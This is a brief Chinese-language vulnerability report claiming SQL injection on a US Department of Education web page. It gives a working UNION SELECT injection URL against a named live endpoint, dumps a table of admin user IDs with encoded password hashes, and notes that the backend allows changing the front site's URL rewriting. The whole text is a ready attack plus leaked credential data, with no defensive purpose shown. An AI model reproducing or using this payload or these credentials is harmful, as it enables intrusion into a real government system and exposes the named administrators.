美国教育部主站存在注入(Linux +Tomcat + JSP + MSSQL 站库分离)
http://www2.ed.gov/admin/reference/vocabDesc.jsp?table=Subject&vid=0+union+select+email,2,3,4,password,userid,7,8+from+adminusers+--+
| userid | password | |
|---|---|---|
| asmigielski | [email protected] | Pz8/Py0/Pz8/Pz8/HD8/Uko/FQw= |
| jreeves | [email protected] | XiI1AT9wP3s/Aj88Pz8/Pz8/DHE= |
| pkickbush | [email protected] | IQ0/Qj8aP1ZoSBZ0Pz8yPzAbET8= |
| riqbal | [email protected] | Pyd7GSY/DGk/cz8/aQdMPyUXPz8= |
| shambling | [email protected] | PGNnPzQ/BXg/Pz9GP1w/PxQ/P1o= |
后台可直接修改前台的url write